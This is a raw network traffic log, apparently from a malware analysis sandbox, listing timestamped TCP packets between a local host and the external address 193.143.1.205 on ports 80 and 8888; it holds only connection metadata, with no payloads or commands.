Jan 11, 2025 07:13:08.481904984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.481929064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.481944084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.482352972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.482364893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.482374907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.482386112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.482395887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.482399940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.482408047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.482420921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.482420921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.482445955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.482947111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.482959032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.482969999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.482980967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.482985020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.482991934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.483002901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.483014107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.483014107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.483042955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.483057022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.483300924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.483407974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.483419895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.483429909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.483441114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.483450890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.483460903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.483462095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.483473063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.483498096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.483506918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.484004021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.484015942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.484025955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.484035969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.484045982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.484045982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.484056950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.484066963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.484075069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.484107018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.484601021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.484612942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.484623909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.484635115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.484646082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.484652996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.484657049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.484666109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.484671116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.484683990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.484697104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.484739065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.509435892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.512876034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.512917995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.512932062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.512975931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.513010979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.513024092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.513050079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.513174057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.513187885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.513201952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.513212919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.513235092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.513385057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.513396978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.513407946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.513428926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.513513088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.513525963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.513537884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.513551950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.513576984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.513684988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.513696909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.513734102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.513780117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.513792992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.513829947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.513909101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.513921022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.513931990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.513953924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.514379978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.532551050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.547238111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547260046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547274113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547288895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547303915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547331095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547343969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547354937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547367096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547377110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547388077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547398090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547410011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547420979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547422886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.547422886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.547422886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.547431946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547441959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547447920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.547447920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.547454119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547465086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547467947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.547476053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547486067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.547487020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547498941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547509909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547521114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547527075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.547532082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547544956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547552109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.547554970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547565937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547571898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.547579050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547589064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.547590971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.547609091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.547633886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.550942898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.557229996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.557859898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.557876110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.557907104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.562180996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.562233925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.562287092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.563855886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.563873053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.563920021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.564471960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.567833900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.568200111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.568258047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.568535089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.568711042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.568758011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.570168972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.570185900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.570220947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.572709084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.572729111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.572765112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.575301886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.575335979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.575346947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.575388908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.577903986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.577922106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.577946901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.580492020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.580507994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.580538034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.583087921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.583102942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.583112955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.583132029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.583152056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.585639954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.585659027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.585671902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.585704088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.588227034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.588246107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.588272095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.590750933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.590770006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.590802908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.592742920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.592760086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.592791080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.594789982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.594808102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.594820023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.594840050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.594861984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.598509073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.598530054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.598597050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.599636078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.599653959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.599699974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.601860046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.601878881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.601890087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.601972103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.603785992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.603805065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.603837013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.605745077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.605763912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.605776072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.605798960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.605818987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.607748985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.607767105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.607815027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.609435081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.609448910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.609496117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.611278057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.613148928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.613164902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.613176107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.613195896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.613217115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.614955902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.614973068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.615010977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.616813898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.616828918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.616874933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.618438959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.618455887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.618515015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.620254993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.620273113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.620320082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.621741056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.621757030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.621767998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.621793985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.623435974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.623461008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.623471975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.623497009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.623517036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.627788067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.627805948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.627816916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.627868891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.629259109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.629276037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.629303932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.630790949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.630806923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.630835056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.631160975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.631174088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.631185055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.631200075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.631222963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.632524967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.632539988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.632591963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.633863926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.633879900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.633919954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.635256052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.636487961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.636506081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.636517048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.636531115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.636550903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.637732029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.637747049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.637795925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.638927937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.638942003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.638977051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.640158892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.640173912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.640214920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.641278028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.641292095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.641303062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.641328096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.642435074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.642448902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.642476082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.643568993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.643583059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.643620968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.644601107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.644615889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.644646883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.645643950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.645661116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.645673037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.645690918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.645711899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.646653891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.646668911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.646719933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.647619009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.647633076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.647664070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.648571968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.648619890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.648659945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.649535894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.649550915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.649588108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.650501966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.650516987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.650554895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.651519060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.651536942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.651580095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.653944969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.654170990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.654185057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.654211998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.654958963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.654973984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.654999018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.655755043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.655770063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.655796051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.656389952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.656403065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.656431913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.657321930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.657336950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.657349110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.657361031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.657391071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.658126116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:08.710309982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:08.745054960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:09.177594900 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:09.182545900 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:09.182615995 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:09.183326006 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 07:13:09.188102961 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 07:13:10.021887064 CET	8888	49731	193.143.1.205	192.168.2.4
